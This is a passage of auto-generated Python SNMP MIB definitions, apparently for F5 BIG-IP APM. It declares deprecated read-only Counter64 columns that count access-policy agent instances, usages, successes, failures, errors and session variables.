apmPaStatEndingAllowAgentTotalErrors.setStatus('deprecated') apmPaStatEndingAllowAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 32), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEndingAllowAgentTotalSessVars.setStatus('deprecated') apmPaStatAdAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 33), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatAdAgentTotalInstances.setStatus('deprecated') apmPaStatAdAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 34), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatAdAgentTotalUsages.setStatus('deprecated') apmPaStatAdAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 35), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatAdAgentTotalSuccesses.setStatus('deprecated') apmPaStatAdAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 36), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatAdAgentTotalFailures.setStatus('deprecated') apmPaStatAdAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 37), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatAdAgentTotalErrors.setStatus('deprecated') apmPaStatAdAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 38), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatAdAgentTotalSessVars.setStatus('deprecated') apmPaStatClientCertAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 39), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatClientCertAgentTotalInstances.setStatus('deprecated') apmPaStatClientCertAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 40), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatClientCertAgentTotalUsages.setStatus('deprecated') apmPaStatClientCertAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 41), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatClientCertAgentTotalSuccesses.setStatus('deprecated') apmPaStatClientCertAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 42), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatClientCertAgentTotalFailures.setStatus('deprecated') apmPaStatClientCertAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 43), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatClientCertAgentTotalErrors.setStatus('deprecated') apmPaStatClientCertAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 44), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatClientCertAgentTotalSessVars.setStatus('deprecated') apmPaStatHttpAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 45), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatHttpAgentTotalInstances.setStatus('deprecated') apmPaStatHttpAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 46), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatHttpAgentTotalUsages.setStatus('deprecated') apmPaStatHttpAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 47), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatHttpAgentTotalSuccesses.setStatus('deprecated') apmPaStatHttpAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 48), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatHttpAgentTotalFailures.setStatus('deprecated') apmPaStatHttpAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 49), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatHttpAgentTotalErrors.setStatus('deprecated') apmPaStatHttpAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 50), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatHttpAgentTotalSessVars.setStatus('deprecated') apmPaStatLdapAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 51), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatLdapAgentTotalInstances.setStatus('deprecated') apmPaStatLdapAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 52), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatLdapAgentTotalUsages.setStatus('deprecated') apmPaStatLdapAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 53), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatLdapAgentTotalSuccesses.setStatus('deprecated') apmPaStatLdapAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 54), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatLdapAgentTotalFailures.setStatus('deprecated') apmPaStatLdapAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 55), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatLdapAgentTotalErrors.setStatus('deprecated') apmPaStatLdapAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 56), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatLdapAgentTotalSessVars.setStatus('deprecated') apmPaStatRadiusAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 57), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRadiusAgentTotalInstances.setStatus('deprecated') apmPaStatRadiusAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 58), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRadiusAgentTotalUsages.setStatus('deprecated') apmPaStatRadiusAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 59), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRadiusAgentTotalSuccesses.setStatus('deprecated') apmPaStatRadiusAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 60), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRadiusAgentTotalFailures.setStatus('deprecated') apmPaStatRadiusAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 61), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRadiusAgentTotalErrors.setStatus('deprecated') apmPaStatRadiusAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 62), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRadiusAgentTotalSessVars.setStatus('deprecated') apmPaStatSecuridAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 63), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatSecuridAgentTotalInstances.setStatus('deprecated') apmPaStatSecuridAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 64), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatSecuridAgentTotalUsages.setStatus('deprecated') apmPaStatSecuridAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 65), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatSecuridAgentTotalSuccesses.setStatus('deprecated') apmPaStatSecuridAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 66), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatSecuridAgentTotalFailures.setStatus('deprecated') apmPaStatSecuridAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 67), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatSecuridAgentTotalErrors.setStatus('deprecated') apmPaStatSecuridAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 68), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatSecuridAgentTotalSessVars.setStatus('deprecated') apmPaStatRadiusAcctAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 69), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRadiusAcctAgentTotalInstances.setStatus('deprecated') apmPaStatRadiusAcctAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 70), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRadiusAcctAgentTotalUsages.setStatus('deprecated') apmPaStatRadiusAcctAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 71), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRadiusAcctAgentTotalSuccesses.setStatus('deprecated') apmPaStatRadiusAcctAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 72), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRadiusAcctAgentTotalFailures.setStatus('deprecated') apmPaStatRadiusAcctAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 73), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRadiusAcctAgentTotalErrors.setStatus('deprecated') apmPaStatRadiusAcctAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 74), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRadiusAcctAgentTotalSessVars.setStatus('deprecated') apmPaStatEpsLinuxFcAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 75), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsLinuxFcAgentTotalInstances.setStatus('deprecated') apmPaStatEpsLinuxFcAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 76), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsLinuxFcAgentTotalUsages.setStatus('deprecated') apmPaStatEpsLinuxFcAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 77), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsLinuxFcAgentTotalSuccesses.setStatus('deprecated') apmPaStatEpsLinuxFcAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 78), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsLinuxFcAgentTotalFailures.setStatus('deprecated') apmPaStatEpsLinuxFcAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 79), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsLinuxFcAgentTotalErrors.setStatus('deprecated') apmPaStatEpsLinuxFcAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 80), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsLinuxFcAgentTotalSessVars.setStatus('deprecated') apmPaStatEpsLinuxPcAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 81), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsLinuxPcAgentTotalInstances.setStatus('deprecated') apmPaStatEpsLinuxPcAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 82), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsLinuxPcAgentTotalUsages.setStatus('deprecated') apmPaStatEpsLinuxPcAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 83), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsLinuxPcAgentTotalSuccesses.setStatus('deprecated') apmPaStatEpsLinuxPcAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 84), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsLinuxPcAgentTotalFailures.setStatus('deprecated') apmPaStatEpsLinuxPcAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 85), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsLinuxPcAgentTotalErrors.setStatus('deprecated') apmPaStatEpsLinuxPcAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 86), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsLinuxPcAgentTotalSessVars.setStatus('deprecated') apmPaStatEpsMacFcAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 87), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsMacFcAgentTotalInstances.setStatus('deprecated') apmPaStatEpsMacFcAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 88), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsMacFcAgentTotalUsages.setStatus('deprecated') apmPaStatEpsMacFcAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 89), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsMacFcAgentTotalSuccesses.setStatus('deprecated') apmPaStatEpsMacFcAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 90), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsMacFcAgentTotalFailures.setStatus('deprecated') apmPaStatEpsMacFcAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 91), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsMacFcAgentTotalErrors.setStatus('deprecated') apmPaStatEpsMacFcAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 92), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsMacFcAgentTotalSessVars.setStatus('deprecated') apmPaStatEpsMacPcAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 93), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsMacPcAgentTotalInstances.setStatus('deprecated') apmPaStatEpsMacPcAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 94), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsMacPcAgentTotalUsages.setStatus('deprecated') apmPaStatEpsMacPcAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 95), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsMacPcAgentTotalSuccesses.setStatus('deprecated') apmPaStatEpsMacPcAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 96), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsMacPcAgentTotalFailures.setStatus('deprecated') apmPaStatEpsMacPcAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 97), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsMacPcAgentTotalErrors.setStatus('deprecated') apmPaStatEpsMacPcAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 98), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsMacPcAgentTotalSessVars.setStatus('deprecated') apmPaStatEpsWinCcAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 99), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinCcAgentTotalInstances.setStatus('deprecated') apmPaStatEpsWinCcAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 100), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinCcAgentTotalUsages.setStatus('deprecated') apmPaStatEpsWinCcAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 101), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinCcAgentTotalSuccesses.setStatus('deprecated') apmPaStatEpsWinCcAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 102), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinCcAgentTotalFailures.setStatus('deprecated') apmPaStatEpsWinCcAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 103), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinCcAgentTotalErrors.setStatus('deprecated') apmPaStatEpsWinCcAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 104), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinCcAgentTotalSessVars.setStatus('deprecated') apmPaStatEpsAvAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 105), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsAvAgentTotalInstances.setStatus('deprecated') apmPaStatEpsAvAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 106), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsAvAgentTotalUsages.setStatus('deprecated') apmPaStatEpsAvAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 107), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsAvAgentTotalSuccesses.setStatus('deprecated') apmPaStatEpsAvAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 108), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsAvAgentTotalFailures.setStatus('deprecated') apmPaStatEpsAvAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 109), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsAvAgentTotalErrors.setStatus('deprecated') apmPaStatEpsAvAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 110), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsAvAgentTotalSessVars.setStatus('deprecated') apmPaStatEpsWinOsInfoAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 111), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinOsInfoAgentTotalInstances.setStatus('deprecated') apmPaStatEpsWinOsInfoAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 112), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinOsInfoAgentTotalUsages.setStatus('deprecated') apmPaStatEpsWinOsInfoAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 113), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinOsInfoAgentTotalSuccesses.setStatus('deprecated') apmPaStatEpsWinOsInfoAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 114), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinOsInfoAgentTotalFailures.setStatus('deprecated') apmPaStatEpsWinOsInfoAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 115), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinOsInfoAgentTotalErrors.setStatus('deprecated') apmPaStatEpsWinOsInfoAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 116), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinOsInfoAgentTotalSessVars.setStatus('deprecated') apmPaStatEpsWinFcAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 117), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinFcAgentTotalInstances.setStatus('deprecated') apmPaStatEpsWinFcAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 118), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinFcAgentTotalUsages.setStatus('deprecated') apmPaStatEpsWinFcAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 119), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinFcAgentTotalSuccesses.setStatus('deprecated') apmPaStatEpsWinFcAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 120), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinFcAgentTotalFailures.setStatus('deprecated') apmPaStatEpsWinFcAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 121), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinFcAgentTotalErrors.setStatus('deprecated') apmPaStatEpsWinFcAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 122), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinFcAgentTotalSessVars.setStatus('deprecated') apmPaStatEpsWinMcAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 123), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinMcAgentTotalInstances.setStatus('deprecated') apmPaStatEpsWinMcAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 124), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinMcAgentTotalUsages.setStatus('deprecated') apmPaStatEpsWinMcAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 125), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinMcAgentTotalSuccesses.setStatus('deprecated') apmPaStatEpsWinMcAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 126), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinMcAgentTotalFailures.setStatus('deprecated') apmPaStatEpsWinMcAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 127), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinMcAgentTotalErrors.setStatus('deprecated') apmPaStatEpsWinMcAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 128), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinMcAgentTotalSessVars.setStatus('deprecated') apmPaStatEpsFwcAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 129), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsFwcAgentTotalInstances.setStatus('deprecated') apmPaStatEpsFwcAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 130), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsFwcAgentTotalUsages.setStatus('deprecated') apmPaStatEpsFwcAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 131), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsFwcAgentTotalSuccesses.setStatus('deprecated') apmPaStatEpsFwcAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 132), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsFwcAgentTotalFailures.setStatus('deprecated') apmPaStatEpsFwcAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 133), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsFwcAgentTotalErrors.setStatus('deprecated') apmPaStatEpsFwcAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 134), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsFwcAgentTotalSessVars.setStatus('deprecated') apmPaStatEpsWinPcTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 135), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinPcTotalInstances.setStatus('deprecated') apmPaStatEpsWinPcTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 136), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinPcTotalUsages.setStatus('deprecated') apmPaStatEpsWinPcTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 137), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinPcTotalSuccesses.setStatus('deprecated') apmPaStatEpsWinPcTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 138), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinPcTotalFailures.setStatus('deprecated') apmPaStatEpsWinPcTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 139), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinPcTotalErrors.setStatus('deprecated') apmPaStatEpsWinPcTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 140), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinPcTotalSessVars.setStatus('deprecated') apmPaStatEpsWinPwTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 